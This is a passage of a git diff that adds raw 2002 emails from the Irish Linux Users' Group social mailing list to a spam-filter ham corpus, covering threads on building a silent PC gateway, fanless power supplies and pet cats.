2002 23:21:14 +0100 (IST) +From: Greg Farrel +X-Sender: greg@matrix +To: social@linux.ie +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Subject: [ILUG-Social] Completely silent pc +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Hi, +I'm looking to build a completely silent pc. It's gonna be a gateway for +a wireless network and will sit in my room (as my room is only +spitting distance from the chimney where i'll be mounting the aerial) +It has to be completely silent, or it'll do my nut. What do I need? + +I'll prob use a shitty p166 i have here, it doesnt have a fan, and I'm not +worried about HD noise too much as it'll be idle mostly (should I be?) +any info would be appreciated. I can't afford one of those lovely new +shoebox size totally silent pcs and I cant use an old laptop as I have a +pci wireless card and cable already bought (160$ or so) + +And where can I get a fanless psu? I know they exist because the lads +at antefacto had them (lads, where can I get one?). Although I do remember +a slight lack of metal box around the humongous voltage parts! + Greg + + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00031.7caef7fe7af2114d0e4bf6aa0faf3a03 b/bayes/spamham/easy_ham_2/00031.7caef7fe7af2114d0e4bf6aa0faf3a03 new file mode 100644 index 0000000..304fe93 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00031.7caef7fe7af2114d0e4bf6aa0faf3a03 @@ -0,0 +1,58 @@ +From social-admin@linux.ie Sat Jul 20 00:53:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 08692440C8 + for ; Fri, 19 Jul 2002 19:53:54 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 00:53:54 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JNojJ15484 for + ; Sat, 20 Jul 2002 00:50:45 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA07367; Sat, 20 Jul 2002 00:49:55 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id AAA07330 for ; + Sat, 20 Jul 2002 00:49:49 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6JNnm914504 for ; + Sat, 20 Jul 2002 00:49:48 +0100 +Date: Sat, 20 Jul 2002 00:49:47 +0100 +To: ilug social +Message-Id: <20020720004947.A14480@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Subject: [ILUG-Social] geek cuisine... +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +hm, looks good: +http://books.slashdot.org/article.pl?sid=02/07/19/1411209&mode=thread&tid=134 + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00032.75f27327d5f41f09e0b2160c62097643 b/bayes/spamham/easy_ham_2/00032.75f27327d5f41f09e0b2160c62097643 new file mode 100644 index 0000000..61c5ee8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00032.75f27327d5f41f09e0b2160c62097643 @@ -0,0 +1,95 @@ +From social-admin@linux.ie Mon Jul 22 17:42:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BD3CF440C8 + for ; Mon, 22 Jul 2002 12:42:01 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:42:01 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhZI08550 for + ; Mon, 22 Jul 2002 16:43:35 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA30902 for + ; Mon, 22 Jul 2002 09:15:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA15815; Mon, 22 Jul 2002 09:13:41 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA15782; Mon, 22 Jul 2002 09:13:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Mon, 22 Jul 2002 09:13:20 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885475@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'Paul Jakma'" , + kevin lyda +Cc: ciaran17@eircom.net, "Wynne, Conor" , + "'Colm Buckley'" , social@linux.ie +Subject: RE: [ILUG-Social] Completely OT, Siamese Cats??? +Date: Mon, 22 Jul 2002 09:13:19 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +I reckon that the Cat[s] will be more interested in the fish in the gaf. +I've got these huge fish [12inchers currently but still growing]. + +I know someone else with them too alonmg with a couple of cats, anyway one +day the cats sat on top of the tank waiting for the fish to do a swim-by and +they readied their paws for the kill. Trouble is the fish were also +interested in a feed and they were significantly faster than the cats. [They +could'nt actually hurt them as they only eat fish/very small rodents] in the +wild. But the cats got the fright of their lives and now they just sit +across the room from the fish warey of approaching the glass ;-) + +Personally I've been bitten many times, but only drew blood once so far. + +I wan't to thank all that replied to my totally OT mail, I never knew that +so many people were into our wee friends. + +CW + +----------------- +On Sat, 20 Jul 2002, kevin lyda wrote: + +> what is this obsession of yours with cats that hunt? + +not my obsession - evolutions. + +anyway.. i dont like mice and rats, esp. not in the house. and we've +not had one in the house since we got our present cat. + +> you realise that while cats will sometimes bring birds to your bed, +> it's the wrong kind of bird... :) + +:) + +its mostly mice though. and they will eventually (after a few summers) +stop bringing their kills back to the house, once they realise that +you're not interested and are never going to learn to hunt. + +(they're trying to teach you hunting basically. they do the same with +kittens - first bring back kills, and then later they bring back live +but injured prey for the kittens to practice on). + +although they'll still bring back stuff on occassion. + +> kevin + +--paulj + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00033.7a0734f109eb2eb8945950c9e20b244b b/bayes/spamham/easy_ham_2/00033.7a0734f109eb2eb8945950c9e20b244b new file mode 100644 index 0000000..5d1331e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00033.7a0734f109eb2eb8945950c9e20b244b @@ -0,0 +1,61 @@ +From social-admin@linux.ie Mon Jul 22 19:21:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6C3E6440C9 + for ; Mon, 22 Jul 2002 14:21:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:21:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG2KY17046 for + ; Mon, 22 Jul 2002 17:02:20 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id XAA25138 for + ; Sat, 20 Jul 2002 23:36:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA05832; Sat, 20 Jul 2002 23:35:13 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from salmon.maths.tcd.ie (mmdf@salmon.maths.tcd.ie + [134.226.81.11]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id XAA05792 + for ; Sat, 20 Jul 2002 23:35:07 +0100 +Received: from salmon.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id + ; 20 Jul 2002 23:35:07 +0100 (BST) +To: social@linux.ie +Subject: Re: [ILUG-Social] Completely silent pc +X-It'S: all good +X-Wigglefluff: fuddtastic +X-Zippy: .. One FISHWICH coming up!! ..Everything is....FLIPPING AROUND!! +In-Reply-To: Your message of + "Sat, 20 Jul 2002 12:06:35 BST." + +Date: Sat, 20 Jul 2002 23:35:07 +0100 +From: Niall Brady +Message-Id: <200207202335.aa35964@salmon.maths.tcd.ie> +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Sat, 20 Jul 2002 12:06:35 BST, Greg Farrel said: +> +>D'oh. I ment to say that I cant use a laptop, as I have a pci wireless +>card and the cable for it (about 180 dollars). So it has to be a pc, with +>a pci 2.2 connector (ie some pentiums, and anything above) + +There's some place in the UK that sells loads of silent gear... +can't remember the name though... a google for "silent pc" or the +like should turn it up. + +-- + Niall + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00034.6c4a2965d18007340b85034c167848ec b/bayes/spamham/easy_ham_2/00034.6c4a2965d18007340b85034c167848ec new file mode 100644 index 0000000..29f67e7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00034.6c4a2965d18007340b85034c167848ec @@ -0,0 +1,81 @@ +From social-admin@linux.ie Mon Jul 22 19:23:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 734A8440C8 + for ; Mon, 22 Jul 2002 14:22:58 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:22:58 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG3UY17510 for + ; Mon, 22 Jul 2002 17:03:32 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id SAA24559 for + ; Sat, 20 Jul 2002 18:51:31 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA28009; Sat, 20 Jul 2002 18:50:38 +0100 +Received: from florence.ie.alphyra.com + (IDENT:7C41XguCdOGzS6qJ7fX3rwpuV4W+MKxl@itg-gw.cr008.cwt.esat.net + [193.120.242.226]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA27970; + Sat, 20 Jul 2002 18:50:32 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host IDENT:7C41XguCdOGzS6qJ7fX3rwpuV4W+MKxl@itg-gw.cr008.cwt.esat.net + [193.120.242.226] claimed to be florence.ie.alphyra.com +Received: from dunlop.admin.ie.alphyra.com + (IDENT:taeZhsXkwTUWhECWCB+QZTaQAtMbJ2pb@dunlop.admin.ie.alphyra.com + [192.168.11.193]) by florence.ie.alphyra.com (8.11.6/8.11.6) with ESMTP id + g6KHo5S28905; Sat, 20 Jul 2002 18:50:05 +0100 +Date: Sat, 20 Jul 2002 18:50:05 +0100 (IST) +From: Paul Jakma +X-X-Sender: paulj@dunlop.admin.ie.alphyra.com +To: kevin lyda +Cc: ciaran17@eircom.net, "Wynne, Conor" , + "'Colm Buckley'" , +Subject: Re: [ILUG-Social] Completely OT, Siamese Cats??? +In-Reply-To: <20020720180103.C23917@ie.suberic.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Sat, 20 Jul 2002, kevin lyda wrote: + +> what is this obsession of yours with cats that hunt? + +not my obsession - evolutions. + +anyway.. i dont like mice and rats, esp. not in the house. and we've +not had one in the house since we got our present cat. + +> you realise that while cats will sometimes bring birds to your bed, +> it's the wrong kind of bird... :) + +:) + +its mostly mice though. and they will eventually (after a few summers) +stop bringing their kills back to the house, once they realise that +you're not interested and are never going to learn to hunt. + +(they're trying to teach you hunting basically. they do the same with +kittens - first bring back kills, and then later they bring back live +but injured prey for the kittens to practice on). + +although they'll still bring back stuff on occassion. + +> kevin + +--paulj + + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00035.d598efa269efe5000552f0322851a379 b/bayes/spamham/easy_ham_2/00035.d598efa269efe5000552f0322851a379 new file mode 100644 index 0000000..fa8ca51 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00035.d598efa269efe5000552f0322851a379 @@ -0,0 +1,75 @@ +From social-admin@linux.ie Mon Jul 22 19:23:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EDBDC440C9 + for ; Mon, 22 Jul 2002 14:23:06 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:23:06 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG3cY17534 for + ; Mon, 22 Jul 2002 17:03:38 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id SAA24430 for + ; Sat, 20 Jul 2002 18:02:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA25901; Sat, 20 Jul 2002 18:01:18 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA25868 for ; + Sat, 20 Jul 2002 18:01:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6KH18925024 for ; + Sat, 20 Jul 2002 18:01:08 +0100 +Date: Sat, 20 Jul 2002 18:01:03 +0100 +To: Paul Jakma +Cc: ciaran17@eircom.net, "Wynne, Conor" , + "'Colm Buckley'" , social@linux.ie +Subject: Re: [ILUG-Social] Completely OT, Siamese Cats??? +Message-Id: <20020720180103.C23917@ie.suberic.net> +References: <200207191511.QAA11838@lugh.tuatha.org> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from paulj@alphyra.ie on Sat, Jul 20, 2002 at 01:40:56PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Sat, Jul 20, 2002 at 01:40:56PM +0100, Paul Jakma wrote: +> another good place to find cats is a local farm, as farms tend to have +> lots of cats. pick a healthy looking kitten and bring it off to vet +> for shots etc. as it probably wont have had any. a plus side is that +> if you get a slightly older kitten (say 2 months) it'll have some +> hunting experience. + +what is this obsession of yours with cats that hunt? you realise that +while cats will sometimes bring birds to your bed, it's the wrong kind +of bird... :) + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00036.6620b4d55c147aca7688250f16685d0d b/bayes/spamham/easy_ham_2/00036.6620b4d55c147aca7688250f16685d0d new file mode 100644 index 0000000..4fdc6ca --- /dev/null +++ b/bayes/spamham/easy_ham_2/00036.6620b4d55c147aca7688250f16685d0d @@ -0,0 +1,83 @@ +From social-admin@linux.ie Mon Jul 22 19:24:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 98BBD440C8 + for ; Mon, 22 Jul 2002 14:24:29 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:24:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFIB902770 for + ; Mon, 22 Jul 2002 16:18:11 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA31420 for + ; Mon, 22 Jul 2002 11:45:41 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA21951; Mon, 22 Jul 2002 11:45:02 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA21912 for ; + Mon, 22 Jul 2002 11:44:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.105.180.140] claimed + to be mandark.labs.netnoteinc.com +Received: from triton.labs.netnoteinc.com + (lbedford@triton.labs.netnoteinc.com [192.168.2.12]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6MAitp08916 for + ; Mon, 22 Jul 2002 11:44:56 +0100 +Date: Mon, 22 Jul 2002 11:44:55 +0100 +From: Liam Bedford +To: social@linux.ie +Subject: Re: [ILUG-Social] Completely silent pc +Message-Id: <20020722114455.080be6c6.lbedford@lbedford.org> +In-Reply-To: <20020720181512.D23917@ie.suberic.net> +References: + <20020720051950.GE28205@linuxmafia.com> + <20020720181512.D23917@ie.suberic.net> +Organization: Netnote International +X-Mailer: Sylpheed version 0.7.8claws69 (GTK+ 1.2.10; i386-debian-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-15 +Content-Transfer-Encoding: 8bit +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Sat, 20 Jul 2002 18:15:12 +0100 +kevin lyda claiming to think: + +> On Fri, Jul 19, 2002 at 10:19:50PM -0700, Rick Moen wrote: +> > Some people strip down old 486 boxes, take out the hard drive, disable +> > the fans, and run the thing from just a floppy drive or a CDR you've +> > burned for the purpose. +> +> what about using a pcmcia card and a compaq flash card? or doing an +> nfs boot to a server in a noiser part of the house? (the boiler room +> or something like that) +> +hmm. there are versions of OpenBSD that run from a 32M compact flash IIRC. + +and antefacto's software ran in 64M. + +there are CF->IDE adapters anyway, so get a 256M CF (100¤+), mount it RO, +and use that? + +/me is also in the market for one of the 60W fanless PSU's that antefacto had, +if someone wants to get a few of them. + +L. +-- + dBP dBBBBb | If you're looking at me to be an accountant + dBP | Then you will look but you will never see + dBP dBBBK' | If you're looking at me to start having babies + dBP dB' db | Then you can wish because I'm not here to fool around + dBBBBP dBBBBP' | Belle & Sebastian (Family Tree) + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00037.8654538f4f68f933488f6a16aaadd0ce b/bayes/spamham/easy_ham_2/00037.8654538f4f68f933488f6a16aaadd0ce new file mode 100644 index 0000000..ee8207a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00037.8654538f4f68f933488f6a16aaadd0ce @@ -0,0 +1,65 @@ +From social-admin@linux.ie Mon Jul 22 19:28:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0C47440C8 + for ; Mon, 22 Jul 2002 14:28:30 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:28:30 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQU403461 for + ; Mon, 22 Jul 2002 18:26:30 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA23228 for + ; Sat, 20 Jul 2002 12:07:33 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA30785; Sat, 20 Jul 2002 12:06:40 +0100 +Received: from matrix.netsoc.tcd.ie (netsoc.tcd.ie [134.226.83.50]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA30747 for ; + Sat, 20 Jul 2002 12:06:35 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host netsoc.tcd.ie + [134.226.83.50] claimed to be matrix.netsoc.tcd.ie +Received: by matrix.netsoc.tcd.ie (Postfix, from userid 1088) id + 547293445A; Sat, 20 Jul 2002 12:06:35 +0100 (IST) +Received: from localhost (localhost [127.0.0.1]) by matrix.netsoc.tcd.ie + (Postfix) with ESMTP id 4419331006; Sat, 20 Jul 2002 12:06:35 +0100 (IST) +Date: Sat, 20 Jul 2002 12:06:35 +0100 (IST) +From: Greg Farrel +X-Sender: greg@matrix +To: Rick Moen +Cc: social@linux.ie +Subject: Re: [ILUG-Social] Completely silent pc +In-Reply-To: <20020720051950.GE28205@linuxmafia.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + + +> An old laptop would probably be ideal. That way, it comes with its own +> UPS (the battery). +D'oh. I ment to say that I cant use a laptop, as I have a pci wireless +card and the cable for it (about 180 dollars). So it has to be a pc, with +a pci 2.2 connector (ie some pentiums, and anything above) + + > +> Some people strip down old 486 boxes, take out the hard drive, disable +> the fans, and run the thing from just a floppy drive or a CDR you've +> burned for the purpose. +I'd do that with my 166, but the psu has a fan. And a 486 wont support my +wireless card :( I know. I'm awkward, + Greg + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00038.fba603f864720b7894b7b05e6e3f93c0 b/bayes/spamham/easy_ham_2/00038.fba603f864720b7894b7b05e6e3f93c0 new file mode 100644 index 0000000..5be537c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00038.fba603f864720b7894b7b05e6e3f93c0 @@ -0,0 +1,76 @@ +From social-admin@linux.ie Mon Jul 22 19:28:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2ED6B440C9 + for ; Mon, 22 Jul 2002 14:28:39 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:28:39 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQT403455 for + ; Mon, 22 Jul 2002 18:26:29 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA23305 for + ; Sat, 20 Jul 2002 12:23:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA31551; Sat, 20 Jul 2002 12:23:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA31519 for ; + Sat, 20 Jul 2002 12:23:16 +0100 +Received: from [194.165.167.234] (helo=excalibur.research.wombat.ie) by + mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id 17VsE4-0003TP-00; + Sat, 20 Jul 2002 12:16:41 +0100 +Received: (from kenn@localhost) by excalibur.research.wombat.ie + (8.11.6/8.11.6) id g6KBN0J27900; Sat, 20 Jul 2002 12:23:00 +0100 +Date: Sat, 20 Jul 2002 12:23:00 +0100 +From: Kenn Humborg +To: Greg Farrel +Cc: Rick Moen , social@linux.ie +Subject: Re: [ILUG-Social] Completely silent pc +Message-Id: <20020720122300.B27503@excalibur.research.wombat.ie> +References: <20020720051950.GE28205@linuxmafia.com> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from greg@netsoc.tcd.ie on Sat, Jul 20, 2002 at 12:06:35PM +0100 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Sat, Jul 20, 2002 at 12:06:35PM +0100, Greg Farrel wrote: +> +> > An old laptop would probably be ideal. That way, it comes with its own +> > UPS (the battery). +> D'oh. I ment to say that I cant use a laptop, as I have a pci wireless +> card and the cable for it (about 180 dollars). So it has to be a pc, with +> a pci 2.2 connector (ie some pentiums, and anything above) +> +> > +> > Some people strip down old 486 boxes, take out the hard drive, disable +> > the fans, and run the thing from just a floppy drive or a CDR you've +> > burned for the purpose. +> I'd do that with my 166, but the psu has a fan. And a 486 wont support my +> wireless card :( I know. I'm awkward, + +Try www.quietpc.com. Don't know if they have fanless PSUs but they claim +to have really, really quiet ones. + +Later, +Kenn + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00039.3c9b6f5cf180783680d1a97f07f64b18 b/bayes/spamham/easy_ham_2/00039.3c9b6f5cf180783680d1a97f07f64b18 new file mode 100644 index 0000000..6b51e17 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00039.3c9b6f5cf180783680d1a97f07f64b18 @@ -0,0 +1,72 @@ +From social-admin@linux.ie Mon Jul 22 19:29:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8DED4440C8 + for ; Mon, 22 Jul 2002 14:29:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:29:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQK403338 for + ; Mon, 22 Jul 2002 18:26:20 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by 